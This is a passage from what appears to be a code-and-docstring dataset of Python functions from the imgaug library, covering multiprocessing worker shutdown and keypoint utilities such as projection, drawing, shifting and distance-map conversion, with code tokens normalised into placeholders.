{"signature": "def terminate(self):", "body": "if self._pool is not None:<EOL><INDENT>self._pool.terminate()<EOL>self._pool.join()<EOL>self._pool = None<EOL><DEDENT>", "docstring": "Terminate the pool immediately.", "id": "f16272:c0:m9"}
{"signature": "def join(self):", "body": "if self._pool is not None:<EOL><INDENT>self._pool.join()<EOL><DEDENT>", "docstring": "Wait for the workers to exit.\n\nThis may only be called after calling :func:`imgaug.multicore.Pool.join` or\n:func:`imgaug.multicore.Pool.terminate`.", "id": "f16272:c0:m10"}
{"signature": "def all_finished(self):", "body": "return self.count_workers_alive() == <NUM_LIT:0><EOL>", "docstring": "Determine whether the workers have finished the loading process.\n\nReturns\n-------\nout : bool\n    True if all workers have finished. Else False.", "id": "f16272:c1:m2"}
{"signature": "def terminate(self):", "body": "if not self.join_signal.is_set():<EOL><INDENT>self.join_signal.set()<EOL><DEDENT>time.sleep(<NUM_LIT>)<EOL>if self.main_worker_thread.is_alive():<EOL><INDENT>self.main_worker_thread.join()<EOL><DEDENT>if self.threaded:<EOL><INDENT>for worker in self.workers:<EOL><INDENT>if worker.is_alive():<EOL><INDENT>worker.join()<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for worker in self.workers:<EOL><INDENT>if worker.is_alive():<EOL><INDENT>worker.terminate()<EOL>worker.join()<EOL><DEDENT><DEDENT>while not self.all_finished():<EOL><INDENT>time.sleep(<NUM_LIT>)<EOL><DEDENT><DEDENT>if self.queue.full():<EOL><INDENT>self.queue.get()<EOL><DEDENT>self.queue.put(pickle.dumps(None, protocol=-<NUM_LIT:1>))<EOL>time.sleep(<NUM_LIT>)<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>self._queue_internal.get(timeout=<NUM_LIT>)<EOL><DEDENT>except QueueEmpty:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if not self._queue_internal._closed:<EOL><INDENT>self._queue_internal.close()<EOL><DEDENT>if not self.queue._closed:<EOL><INDENT>self.queue.close()<EOL><DEDENT>self._queue_internal.join_thread()<EOL>self.queue.join_thread()<EOL>time.sleep(<NUM_LIT>)<EOL>", "docstring": "Stop all workers.", "id": "f16272:c1:m5"}
{"signature": "def get_batch(self):", "body": "if self.all_finished():<EOL><INDENT>return None<EOL><DEDENT>batch_str = self.queue_result.get()<EOL>batch = pickle.loads(batch_str)<EOL>if batch is not None:<EOL><INDENT>return batch<EOL><DEDENT>else:<EOL><INDENT>self.nb_workers_finished += <NUM_LIT:1><EOL>if self.nb_workers_finished >= self.nb_workers:<EOL><INDENT>try:<EOL><INDENT>self.queue_source.get(timeout=<NUM_LIT>)  <EOL><DEDENT>except QueueEmpty:<EOL><INDENT>pass<EOL><DEDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return self.get_batch()<EOL><DEDENT><DEDENT>", "docstring": "Returns a batch from the queue of augmented batches.\n\nIf workers are still running and there are no batches in the queue,\nit will automatically wait for the next batch.\n\nReturns\n-------\nout : None or imgaug.Batch\n    One batch or None if all workers have finished.", "id": "f16272:c2:m2"}
{"signature": "def _augment_images_worker(self, augseq, queue_source, queue_result, seedval):", "body": "np.random.seed(seedval)<EOL>random.seed(seedval)<EOL>augseq.reseed(seedval)<EOL>ia.seed(seedval)<EOL>loader_finished = False<EOL>while not loader_finished:<EOL><INDENT>try:<EOL><INDENT>batch_str = queue_source.get(timeout=<NUM_LIT:0.1>)<EOL>batch = pickle.loads(batch_str)<EOL>if batch is None:<EOL><INDENT>loader_finished = True<EOL>queue_source.put(pickle.dumps(None, protocol=-<NUM_LIT:1>))<EOL><DEDENT>else:<EOL><INDENT>batch_aug = augseq.augment_batch(batch)<EOL>batch_str = pickle.dumps(batch_aug, protocol=-<NUM_LIT:1>)<EOL>queue_result.put(batch_str)<EOL><DEDENT><DEDENT>except QueueEmpty:<EOL><INDENT>time.sleep(<NUM_LIT>)<EOL><DEDENT><DEDENT>queue_result.put(pickle.dumps(None, protocol=-<NUM_LIT:1>))<EOL>time.sleep(<NUM_LIT>)<EOL>", "docstring": "Augment endlessly images in the source queue.\n\nThis is a worker function for that endlessly queries the source queue (input batches),\naugments batches in it and sends the result to the output queue.", "id": "f16272:c2:m3"}
{"signature": "def terminate(self):", "body": "for worker in self.workers:<EOL><INDENT>if worker.is_alive():<EOL><INDENT>worker.terminate()<EOL><DEDENT><DEDENT>self.nb_workers_finished = len(self.workers)<EOL>if not self.queue_result._closed:<EOL><INDENT>self.queue_result.close()<EOL><DEDENT>time.sleep(<NUM_LIT>)<EOL>", "docstring": "Terminates all background processes immediately.\n\nThis will also free their RAM.", "id": "f16272:c2:m4"}
{"signature": "def compute_geometric_median(X, eps=<NUM_LIT>):", "body": "y = np.mean(X, <NUM_LIT:0>)<EOL>while True:<EOL><INDENT>D = scipy.spatial.distance.cdist(X, [y])<EOL>nonzeros = (D != <NUM_LIT:0>)[:, <NUM_LIT:0>]<EOL>Dinv = <NUM_LIT:1> / D[nonzeros]<EOL>Dinvs = np.sum(Dinv)<EOL>W = Dinv / Dinvs<EOL>T = np.sum(W * X[nonzeros], <NUM_LIT:0>)<EOL>num_zeros = len(X) - np.sum(nonzeros)<EOL>if num_zeros == <NUM_LIT:0>:<EOL><INDENT>y1 = T<EOL><DEDENT>elif num_zeros == len(X):<EOL><INDENT>return y<EOL><DEDENT>else:<EOL><INDENT>R = (T - y) * Dinvs<EOL>r = np.linalg.norm(R)<EOL>rinv = <NUM_LIT:0> if r == <NUM_LIT:0> else num_zeros/r<EOL>y1 = max(<NUM_LIT:0>, <NUM_LIT:1>-rinv)*T + min(<NUM_LIT:1>, rinv)*y<EOL><DEDENT>if scipy.spatial.distance.euclidean(y, y1) < eps:<EOL><INDENT>return y1<EOL><DEDENT>y = y1<EOL><DEDENT>", "docstring": "Estimate the geometric median of points in 2D.\n\nCode from https://stackoverflow.com/a/30305181\n\nParameters\n----------\nX : (N,2) ndarray\n    Points in 2D. Second axis must be given in xy-form.\n\neps : float, optional\n    Distance threshold when to return the median.\n\nReturns\n-------\n(2,) ndarray\n    Geometric median as xy-coordinate.", "id": "f16275:m0"}
{"signature": "@property<EOL><INDENT>def x_int(self):<DEDENT>", "body": "return int(np.round(self.x))<EOL>", "docstring": "Return the keypoint's x-coordinate, rounded to the closest integer.\n\nReturns\n-------\nresult : int\n    Keypoint's x-coordinate, rounded to the closest integer.", "id": "f16275:c0:m1"}
{"signature": "@property<EOL><INDENT>def y_int(self):<DEDENT>", "body": "return int(np.round(self.y))<EOL>", "docstring": "Return the keypoint's y-coordinate, rounded to the closest integer.\n\nReturns\n-------\nresult : int\n    Keypoint's y-coordinate, rounded to the closest integer.", "id": "f16275:c0:m2"}
{"signature": "def project(self, from_shape, to_shape):", "body": "xy_proj = project_coords([(self.x, self.y)], from_shape, to_shape)<EOL>return self.deepcopy(x=xy_proj[<NUM_LIT:0>][<NUM_LIT:0>], y=xy_proj[<NUM_LIT:0>][<NUM_LIT:1>])<EOL>", "docstring": "Project the keypoint onto a new position on a new image.\n\nE.g. if the keypoint is on its original image at x=(10 of 100 pixels)\nand y=(20 of 100 pixels) and is projected onto a new image with\nsize (width=200, height=200), its new position will be (20, 40).\n\nThis is intended for cases where the original image is resized.\nIt cannot be used for more complex changes (e.g. padding, cropping).\n\nParameters\n----------\nfrom_shape : tuple of int\n    Shape of the original image. (Before resize.)\n\nto_shape : tuple of int\n    Shape of the new image. (After resize.)\n\nReturns\n-------\nimgaug.Keypoint\n    Keypoint object with new coordinates.", "id": "f16275:c0:m3"}
{"signature": "def shift(self, x=<NUM_LIT:0>, y=<NUM_LIT:0>):", "body": "return self.deepcopy(self.x + x, self.y + y)<EOL>", "docstring": "Move the keypoint around on an image.\n\nParameters\n----------\nx : number, optional\n    Move by this value on the x axis.\n\ny : number, optional\n    Move by this value on the y axis.\n\nReturns\n-------\nimgaug.Keypoint\n    Keypoint object with new coordinates.", "id": "f16275:c0:m4"}
{"signature": "def draw_on_image(self, image, color=(<NUM_LIT:0>, <NUM_LIT:255>, <NUM_LIT:0>), alpha=<NUM_LIT:1.0>, size=<NUM_LIT:3>,<EOL>copy=True, raise_if_out_of_image=False):", "body": "if copy:<EOL><INDENT>image = np.copy(image)<EOL><DEDENT>if image.ndim == <NUM_LIT:2>:<EOL><INDENT>assert ia.is_single_number(color), (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (str(color),))<EOL><DEDENT>elif image.ndim == <NUM_LIT:3> and ia.is_single_number(color):<EOL><INDENT>color = [color] * image.shape[-<NUM_LIT:1>]<EOL><DEDENT>input_dtype = image.dtype<EOL>alpha_color = color<EOL>if alpha < <NUM_LIT>:<EOL><INDENT>return image<EOL><DEDENT>elif alpha > <NUM_LIT>:<EOL><INDENT>alpha = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>image = image.astype(np.float32, copy=False)<EOL>alpha_color = alpha * np.array(color)<EOL><DEDENT>height, width = image.shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>y, x = self.y_int, self.x_int<EOL>x1 = max(x - size//<NUM_LIT:2>, <NUM_LIT:0>)<EOL>x2 = min(x + <NUM_LIT:1> + size//<NUM_LIT:2>, width)<EOL>y1 = max(y - size//<NUM_LIT:2>, <NUM_LIT:0>)<EOL>y2 = min(y + <NUM_LIT:1> + size//<NUM_LIT:2>, height)<EOL>x1_clipped, x2_clipped = np.clip([x1, x2], <NUM_LIT:0>, width)<EOL>y1_clipped, y2_clipped = np.clip([y1, y2], <NUM_LIT:0>, height)<EOL>x1_clipped_ooi = (x1_clipped < <NUM_LIT:0> or x1_clipped >= width)<EOL>x2_clipped_ooi = (x2_clipped < <NUM_LIT:0> or x2_clipped >= width+<NUM_LIT:1>)<EOL>y1_clipped_ooi = (y1_clipped < <NUM_LIT:0> or y1_clipped >= height)<EOL>y2_clipped_ooi = (y2_clipped < <NUM_LIT:0> or y2_clipped >= height+<NUM_LIT:1>)<EOL>x_ooi = (x1_clipped_ooi and x2_clipped_ooi)<EOL>y_ooi = (y1_clipped_ooi and y2_clipped_ooi)<EOL>x_zero_size = (x2_clipped - x1_clipped) < <NUM_LIT:1>  <EOL>y_zero_size = (y2_clipped - y1_clipped) < <NUM_LIT:1><EOL>if not x_ooi and not y_ooi and not x_zero_size and not y_zero_size:<EOL><INDENT>if alpha == <NUM_LIT:1>:<EOL><INDENT>image[y1_clipped:y2_clipped, x1_clipped:x2_clipped] = color<EOL><DEDENT>else:<EOL><INDENT>image[y1_clipped:y2_clipped, x1_clipped:x2_clipped] = (<EOL>(<NUM_LIT:1> - alpha)<EOL>* image[y1_clipped:y2_clipped, x1_clipped:x2_clipped]<EOL>+ alpha_color<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if raise_if_out_of_image:<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (y, x, image.shape))<EOL><DEDENT><DEDENT>if image.dtype.name != input_dtype.name:<EOL><INDENT>if input_dtype.name == \"<STR_LIT>\":<EOL><INDENT>image = np.clip(image, <NUM_LIT:0>, <NUM_LIT:255>, out=image)<EOL><DEDENT>image = image.astype(input_dtype, copy=False)<EOL><DEDENT>return image<EOL>", "docstring": "Draw the keypoint onto a given image.\n\nThe keypoint is drawn as a square.\n\nParameters\n----------\nimage : (H,W,3) ndarray\n    The image onto which to draw the keypoint.\n\ncolor : int or list of int or tuple of int or (3,) ndarray, optional\n    The RGB color of the keypoint. If a single int ``C``, then that is\n    equivalent to ``(C,C,C)``.\n\nalpha : float, optional\n    The opacity of the drawn keypoint, where ``1.0`` denotes a fully\n    visible keypoint and ``0.0`` an invisible one.\n\nsize : int, optional\n    The size of the keypoint. If set to ``S``, each square will have\n    size ``S x S``.\n\ncopy : bool, optional\n    Whether to copy the image before drawing the keypoint.\n\nraise_if_out_of_image : bool, optional\n    Whether to raise an exception if the keypoint is outside of the\n    image.\n\nReturns\n-------\nimage : (H,W,3) ndarray\n    Image with drawn keypoint.", "id": "f16275:c0:m5"}
{"signature": "def generate_similar_points_manhattan(self, nb_steps, step_size, return_array=False):", "body": "<EOL>points = np.zeros((nb_steps + <NUM_LIT:1> + nb_steps + <NUM_LIT:2>*(nb_steps**<NUM_LIT:2>), <NUM_LIT:2>), dtype=np.float32)<EOL>yy = np.linspace(self.y - nb_steps * step_size, self.y + nb_steps * step_size, nb_steps + <NUM_LIT:1> + nb_steps)<EOL>width = <NUM_LIT:1><EOL>nth_point = <NUM_LIT:0><EOL>for i_y, y in enumerate(yy):<EOL><INDENT>if width == <NUM_LIT:1>:<EOL><INDENT>xx = [self.x]<EOL><DEDENT>else:<EOL><INDENT>xx = np.linspace(self.x - (width-<NUM_LIT:1>)//<NUM_LIT:2> * step_size, self.x + (width-<NUM_LIT:1>)//<NUM_LIT:2> * step_size, width)<EOL><DEDENT>for x in xx:<EOL><INDENT>points[nth_point] = [x, y]<EOL>nth_point += <NUM_LIT:1><EOL><DEDENT>if i_y < nb_steps:<EOL><INDENT>width += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>width -= <NUM_LIT:2><EOL><DEDENT><DEDENT>if return_array:<EOL><INDENT>return points<EOL><DEDENT>return [self.deepcopy(x=points[i, <NUM_LIT:0>], y=points[i, <NUM_LIT:1>]) for i in sm.xrange(points.shape[<NUM_LIT:0>])]<EOL>", "docstring": "Generate nearby points to this keypoint based on manhattan distance.\n\nTo generate the first neighbouring points, a distance of S (step size) is moved from the\ncenter point (this keypoint) to the top, right, bottom and left, resulting in four new\npoints. From these new points, the pattern is repeated. Overlapping points are ignored.\n\nThe resulting points have a shape similar to a square rotated by 45 degrees.\n\nParameters\n----------\nnb_steps : int\n    The number of steps to move from the center point. nb_steps=1 results in a total of\n    5 output points (1 center point + 4 neighbours).\n\nstep_size : number\n    The step size to move from every point to its neighbours.\n\nreturn_array : bool, optional\n    Whether to return the generated points as a list of keypoints or an array\n    of shape ``(N,2)``, where ``N`` is the number of generated points and the second axis contains\n    the x- (first value) and y- (second value) coordinates.\n\nReturns\n-------\npoints : list of imgaug.Keypoint or (N,2) ndarray\n    If return_array was False, then a list of Keypoint.\n    Otherwise a numpy array of shape ``(N,2)``, where ``N`` is the number of generated points and\n    the second axis contains the x- (first value) and y- (second value) coordinates.\n    The center keypoint (the one on which this function was called) is always included.", "id": "f16275:c0:m6"}
{"signature": "def copy(self, x=None, y=None):", "body": "return self.deepcopy(x=x, y=y)<EOL>", "docstring": "Create a shallow copy of the Keypoint object.\n\nParameters\n----------\nx : None or number, optional\n    Coordinate of the keypoint on the x axis.\n    If ``None``, the instance's value will be copied.\n\ny : None or number, optional\n    Coordinate of the keypoint on the y axis.\n    If ``None``, the instance's value will be copied.\n\nReturns\n-------\nimgaug.Keypoint\n    Shallow copy.", "id": "f16275:c0:m7"}
{"signature": "def deepcopy(self, x=None, y=None):", "body": "x = self.x if x is None else x<EOL>y = self.y if y is None else y<EOL>return Keypoint(x=x, y=y)<EOL>", "docstring": "Create a deep copy of the Keypoint object.\n\nParameters\n----------\nx : None or number, optional\n    Coordinate of the keypoint on the x axis.\n    If ``None``, the instance's value will be copied.\n\ny : None or number, optional\n    Coordinate of the keypoint on the y axis.\n    If ``None``, the instance's value will be copied.\n\nReturns\n-------\nimgaug.Keypoint\n    Deep copy.", "id": "f16275:c0:m8"}
{"signature": "@property<EOL><INDENT>def empty(self):<DEDENT>", "body": "return len(self.keypoints) == <NUM_LIT:0><EOL>", "docstring": "Returns whether this object contains zero keypoints.\n\nReturns\n-------\nresult : bool\n    True if this object contains zero keypoints.", "id": "f16275:c1:m3"}
{"signature": "def on(self, image):", "body": "shape = normalize_shape(image)<EOL>if shape[<NUM_LIT:0>:<NUM_LIT:2>] == self.shape[<NUM_LIT:0>:<NUM_LIT:2>]:<EOL><INDENT>return self.deepcopy()<EOL><DEDENT>else:<EOL><INDENT>keypoints = [kp.project(self.shape, shape) for kp in self.keypoints]<EOL>return self.deepcopy(keypoints, shape)<EOL><DEDENT>", "docstring": "Project keypoints from one image to a new one.\n\nParameters\n----------\nimage : ndarray or tuple of int\n    New image onto which the keypoints are to be projected.\n    May also simply be that new image's shape tuple.\n\nReturns\n-------\nkeypoints : imgaug.KeypointsOnImage\n    Object containing all projected keypoints.", "id": "f16275:c1:m4"}
{"signature": "def draw_on_image(self, image, color=(<NUM_LIT:0>, <NUM_LIT:255>, <NUM_LIT:0>), alpha=<NUM_LIT:1.0>, size=<NUM_LIT:3>,<EOL>copy=True, raise_if_out_of_image=False):", "body": "image = np.copy(image) if copy else image<EOL>for keypoint in self.keypoints:<EOL><INDENT>image = keypoint.draw_on_image(<EOL>image, color=color, alpha=alpha, size=size, copy=False,<EOL>raise_if_out_of_image=raise_if_out_of_image)<EOL><DEDENT>return image<EOL>", "docstring": "Draw all keypoints onto a given image.\n\nEach keypoint is marked by a square of a chosen color and size.\n\nParameters\n----------\nimage : (H,W,3) ndarray\n    The image onto which to draw the keypoints.\n    This image should usually have the same shape as\n    set in KeypointsOnImage.shape.\n\ncolor : int or list of int or tuple of int or (3,) ndarray, optional\n    The RGB color of all keypoints. If a single int ``C``, then that is\n    equivalent to ``(C,C,C)``.\n\nalpha : float, optional\n    The opacity of the drawn keypoint, where ``1.0`` denotes a fully\n    visible keypoint and ``0.0`` an invisible one.\n\nsize : int, optional\n    The size of each point. If set to ``C``, each square will have\n    size ``C x C``.\n\ncopy : bool, optional\n    Whether to copy the image before drawing the points.\n\nraise_if_out_of_image : bool, optional\n    Whether to raise an exception if any keypoint is outside of the image.\n\nReturns\n-------\nimage : (H,W,3) ndarray\n    Image with drawn keypoints.", "id": "f16275:c1:m5"}
{"signature": "def shift(self, x=<NUM_LIT:0>, y=<NUM_LIT:0>):", "body": "keypoints = [keypoint.shift(x=x, y=y) for keypoint in self.keypoints]<EOL>return self.deepcopy(keypoints)<EOL>", "docstring": "Move the keypoints around on an image.\n\nParameters\n----------\nx : number, optional\n    Move each keypoint by this value on the x axis.\n\ny : number, optional\n    Move each keypoint by this value on the y axis.\n\nReturns\n-------\nout : KeypointsOnImage\n    Keypoints after moving them.", "id": "f16275:c1:m6"}
{"signature": "@ia.deprecated(alt_func=\"<STR_LIT>\")<EOL><INDENT>def get_coords_array(self):<DEDENT>", "body": "return self.to_xy_array()<EOL>", "docstring": "Convert the coordinates of all keypoints in this object to an array of shape (N,2).\n\nReturns\n-------\nresult : (N, 2) ndarray\n    Where N is the number of keypoints. Each first value is the\n    x coordinate, each second value is the y coordinate.", "id": "f16275:c1:m7"}
{"signature": "def to_xy_array(self):", "body": "result = np.zeros((len(self.keypoints), <NUM_LIT:2>), dtype=np.float32)<EOL>for i, keypoint in enumerate(self.keypoints):<EOL><INDENT>result[i, <NUM_LIT:0>] = keypoint.x<EOL>result[i, <NUM_LIT:1>] = keypoint.y<EOL><DEDENT>return result<EOL>", "docstring": "Convert keypoint coordinates to ``(N,2)`` array.\n\nReturns\n-------\n(N, 2) ndarray\n    Array containing the coordinates of all keypoints.\n    Shape is ``(N,2)`` with coordinates in xy-form.", "id": "f16275:c1:m8"}
{"signature": "@staticmethod<EOL><INDENT>@ia.deprecated(alt_func=\"<STR_LIT>\")<EOL>def from_coords_array(coords, shape):<DEDENT>", "body": "return KeypointsOnImage.from_xy_array(coords, shape)<EOL>", "docstring": "Convert an array (N,2) with a given image shape to a KeypointsOnImage object.\n\nParameters\n----------\ncoords : (N, 2) ndarray\n    Coordinates of ``N`` keypoints on the original image.\n    Each first entry ``coords[i, 0]`` is expected to be the x coordinate.\n    Each second entry ``coords[i, 1]`` is expected to be the y coordinate.\n\nshape : tuple\n    Shape tuple of the image on which the keypoints are placed.\n\nReturns\n-------\nKeypointsOnImage\n    KeypointsOnImage object that contains all keypoints from the array.", "id": "f16275:c1:m9"}
{"signature": "@classmethod<EOL><INDENT>def from_xy_array(cls, xy, shape):<DEDENT>", "body": "keypoints = [Keypoint(x=coord[<NUM_LIT:0>], y=coord[<NUM_LIT:1>]) for coord in xy]<EOL>return KeypointsOnImage(keypoints, shape)<EOL>", "docstring": "Convert an array (N,2) with a given image shape to a KeypointsOnImage object.\n\nParameters\n----------\nxy : (N, 2) ndarray\n    Coordinates of ``N`` keypoints on the original image, given\n    as ``(N,2)`` array of xy-coordinates.\n\nshape : tuple of int or ndarray\n    Shape tuple of the image on which the keypoints are placed.\n\nReturns\n-------\nKeypointsOnImage\n    KeypointsOnImage object that contains all keypoints from the array.", "id": "f16275:c1:m10"}
{"signature": "def to_keypoint_image(self, size=<NUM_LIT:1>):", "body": "ia.do_assert(len(self.keypoints) > <NUM_LIT:0>)<EOL>height, width = self.shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>image = np.zeros((height, width, len(self.keypoints)), dtype=np.uint8)<EOL>ia.do_assert(size % <NUM_LIT:2> != <NUM_LIT:0>)<EOL>sizeh = max(<NUM_LIT:0>, (size-<NUM_LIT:1>)//<NUM_LIT:2>)<EOL>for i, keypoint in enumerate(self.keypoints):<EOL><INDENT>y = keypoint.y_int<EOL>x = keypoint.x_int<EOL>x1 = np.clip(x - sizeh, <NUM_LIT:0>, width-<NUM_LIT:1>)<EOL>x2 = np.clip(x + sizeh + <NUM_LIT:1>, <NUM_LIT:0>, width)<EOL>y1 = np.clip(y - sizeh, <NUM_LIT:0>, height-<NUM_LIT:1>)<EOL>y2 = np.clip(y + sizeh + <NUM_LIT:1>, <NUM_LIT:0>, height)<EOL>if x1 < x2 and y1 < y2:<EOL><INDENT>image[y1:y2, x1:x2, i] = <NUM_LIT><EOL><DEDENT>if <NUM_LIT:0> <= y < height and <NUM_LIT:0> <= x < width:<EOL><INDENT>image[y, x, i] = <NUM_LIT:255><EOL><DEDENT><DEDENT>return image<EOL>", "docstring": "Draws a new black image of shape ``(H,W,N)`` in which all keypoint coordinates are set to 255.\n(H=shape height, W=shape width, N=number of keypoints)\n\nThis function can be used as a helper when augmenting keypoints with a method that only supports the\naugmentation of images.\n\nParameters\n-------\nsize : int\n    Size of each (squared) point.\n\nReturns\n-------\nimage : (H,W,N) ndarray\n    Image in which the keypoints are marked. H is the height,\n    defined in KeypointsOnImage.shape[0] (analogous W). N is the\n    number of keypoints.", "id": "f16275:c1:m11"}
{"signature": "@staticmethod<EOL><INDENT>def from_keypoint_image(image, if_not_found_coords={\"<STR_LIT:x>\": -<NUM_LIT:1>, \"<STR_LIT:y>\": -<NUM_LIT:1>}, threshold=<NUM_LIT:1>, nb_channels=None): <DEDENT>", "body": "ia.do_assert(len(image.shape) == <NUM_LIT:3>)<EOL>height, width, nb_keypoints = image.shape<EOL>drop_if_not_found = False<EOL>if if_not_found_coords is None:<EOL><INDENT>drop_if_not_found = True<EOL>if_not_found_x = -<NUM_LIT:1><EOL>if_not_found_y = -<NUM_LIT:1><EOL><DEDENT>elif isinstance(if_not_found_coords, (tuple, list)):<EOL><INDENT>ia.do_assert(len(if_not_found_coords) == <NUM_LIT:2>)<EOL>if_not_found_x = if_not_found_coords[<NUM_LIT:0>]<EOL>if_not_found_y = if_not_found_coords[<NUM_LIT:1>]<EOL><DEDENT>elif isinstance(if_not_found_coords, dict):<EOL><INDENT>if_not_found_x = if_not_found_coords[\"<STR_LIT:x>\"]<EOL>if_not_found_y = if_not_found_coords[\"<STR_LIT:y>\"]<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % (<EOL>type(if_not_found_coords),))<EOL><DEDENT>keypoints = []<EOL>for i in sm.xrange(nb_keypoints):<EOL><INDENT>maxidx_flat = np.argmax(image[..., i])<EOL>maxidx_ndim = np.unravel_index(maxidx_flat, (height, width))<EOL>found = (image[maxidx_ndim[<NUM_LIT:0>], maxidx_ndim[<NUM_LIT:1>], i] >= threshold)<EOL>if found:<EOL><INDENT>keypoints.append(Keypoint(x=maxidx_ndim[<NUM_LIT:1>], y=maxidx_ndim[<NUM_LIT:0>]))<EOL><DEDENT>else:<EOL><INDENT>if drop_if_not_found:<EOL><INDENT>pass  <EOL><DEDENT>else:<EOL><INDENT>keypoints.append(Keypoint(x=if_not_found_x, y=if_not_found_y))<EOL><DEDENT><DEDENT><DEDENT>out_shape = (height, width)<EOL>if nb_channels is not None:<EOL><INDENT>out_shape += (nb_channels,)<EOL><DEDENT>return KeypointsOnImage(keypoints, shape=out_shape)<EOL>", "docstring": "Converts an image generated by ``to_keypoint_image()`` back to a KeypointsOnImage object.\n\nParameters\n----------\nimage : (H,W,N) ndarray\n    The keypoints image. N is the number of keypoints.\n\nif_not_found_coords : tuple or list or dict or None, optional\n    Coordinates to use for keypoints that cannot be found in `image`.\n    If this is a list/tuple, it must have two integer values.\n    If it is a dictionary, it must have the keys ``x`` and ``y`` with\n    each containing one integer value.\n    If this is None, then the keypoint will not be added to the final\n    KeypointsOnImage object.\n\nthreshold : int, optional\n    The search for keypoints works by searching for the argmax in\n    each channel. This parameters contains the minimum value that\n    the max must have in order to be viewed as a keypoint.\n\nnb_channels : None or int, optional\n    Number of channels of the image on which the keypoints are placed.\n    Some keypoint augmenters require that information.\n    If set to None, the keypoint's shape will be set\n    to ``(height, width)``, otherwise ``(height, width, nb_channels)``.\n\nReturns\n-------\nout : KeypointsOnImage\n    The extracted keypoints.", "id": "f16275:c1:m12"}
{"signature": "def to_distance_maps(self, inverted=False):", "body": "ia.do_assert(len(self.keypoints) > <NUM_LIT:0>)<EOL>height, width = self.shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>distance_maps = np.zeros((height, width, len(self.keypoints)), dtype=np.float32)<EOL>yy = np.arange(<NUM_LIT:0>, height)<EOL>xx = np.arange(<NUM_LIT:0>, width)<EOL>grid_xx, grid_yy = np.meshgrid(xx, yy)<EOL>for i, keypoint in enumerate(self.keypoints):<EOL><INDENT>y, x = keypoint.y, keypoint.x<EOL>distance_maps[:, :, i] = (grid_xx - x) ** <NUM_LIT:2> + (grid_yy - y) ** <NUM_LIT:2><EOL><DEDENT>distance_maps = np.sqrt(distance_maps)<EOL>if inverted:<EOL><INDENT>return <NUM_LIT:1>/(distance_maps+<NUM_LIT:1>)<EOL><DEDENT>return distance_maps<EOL>", "docstring": "Generates a ``(H,W,K)`` output containing ``K`` distance maps for ``K`` keypoints.\n\nThe k-th distance map contains at every location ``(y, x)`` the euclidean distance to the k-th keypoint.\n\nThis function can be used as a helper when augmenting keypoints with a method that only supports\nthe augmentation of images.\n\nParameters\n-------\ninverted : bool, optional\n    If True, inverted distance maps are returned where each distance value d is replaced\n    by ``d/(d+1)``, i.e. the distance maps have values in the range ``(0.0, 1.0]`` with 1.0\n    denoting exactly the position of the respective keypoint.\n\nReturns\n-------\ndistance_maps : (H,W,K) ndarray\n    A ``float32`` array containing ``K`` distance maps for ``K`` keypoints. Each location\n    ``(y, x, k)`` in the array denotes the euclidean distance at ``(y, x)`` to the ``k``-th keypoint.\n    In inverted mode the distance ``d`` is replaced by ``d/(d+1)``. The height and width\n    of the array match the height and width in ``KeypointsOnImage.shape``.", "id": "f16275:c1:m13"}
{"signature": "@staticmethod<EOL><INDENT>def from_distance_maps(distance_maps, inverted=False, if_not_found_coords={\"<STR_LIT:x>\": -<NUM_LIT:1>, \"<STR_LIT:y>\": -<NUM_LIT:1>}, threshold=None, <EOL>nb_channels=None):<DEDENT>", "body": "ia.do_assert(len(distance_maps.shape) == <NUM_LIT:3>)<EOL>height, width, nb_keypoints = distance_maps.shape<EOL>drop_if_not_found = False<EOL>if if_not_found_coords is None:<EOL><INDENT>drop_if_not_found = True<EOL>if_not_found_x = -<NUM_LIT:1><EOL>if_not_found_y = -<NUM_LIT:1><EOL><DEDENT>elif isinstance(if_not_found_coords, (tuple, list)):<EOL><INDENT>ia.do_assert(len(if_not_found_coords) == <NUM_LIT:2>)<EOL>if_not_found_x = if_not_found_coords[<NUM_LIT:0>]<EOL>if_not_found_y = if_not_found_coords[<NUM_LIT:1>]<EOL><DEDENT>elif isinstance(if_not_found_coords, dict):<EOL><INDENT>if_not_found_x = if_not_found_coords[\"<STR_LIT:x>\"]<EOL>if_not_found_y = if_not_found_coords[\"<STR_LIT:y>\"]<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % (<EOL>type(if_not_found_coords),))<EOL><DEDENT>keypoints = []<EOL>for i in sm.xrange(nb_keypoints):<EOL><INDENT>if inverted:<EOL><INDENT>hitidx_flat = np.argmax(distance_maps[..., i])<EOL><DEDENT>else:<EOL><INDENT>hitidx_flat = np.argmin(distance_maps[..., i])<EOL><DEDENT>hitidx_ndim = np.unravel_index(hitidx_flat, (height, width))<EOL>if not inverted and threshold is not None:<EOL><INDENT>found = (distance_maps[hitidx_ndim[<NUM_LIT:0>], hitidx_ndim[<NUM_LIT:1>], i] < threshold)<EOL><DEDENT>elif inverted and threshold is not None:<EOL><INDENT>found = (distance_maps[hitidx_ndim[<NUM_LIT:0>], hitidx_ndim[<NUM_LIT:1>], i] >= threshold)<EOL><DEDENT>else:<EOL><INDENT>found = True<EOL><DEDENT>if found:<EOL><INDENT>keypoints.append(Keypoint(x=hitidx_ndim[<NUM_LIT:1>], y=hitidx_ndim[<NUM_LIT:0>]))<EOL><DEDENT>else:<EOL><INDENT>if drop_if_not_found:<EOL><INDENT>pass  <EOL><DEDENT>else:<EOL><INDENT>keypoints.append(Keypoint(x=if_not_found_x, y=if_not_found_y))<EOL><DEDENT><DEDENT><DEDENT>out_shape = (height, width)<EOL>if nb_channels is not None:<EOL><INDENT>out_shape += (nb_channels,)<EOL><DEDENT>return KeypointsOnImage(keypoints, shape=out_shape)<EOL>", "docstring": "Converts maps generated by ``to_distance_maps()`` back to a KeypointsOnImage object.\n\nParameters\n----------\ndistance_maps : (H,W,N) ndarray\n    The distance maps. N is the number of keypoints.\n\ninverted : bool, optional\n    Whether the given distance 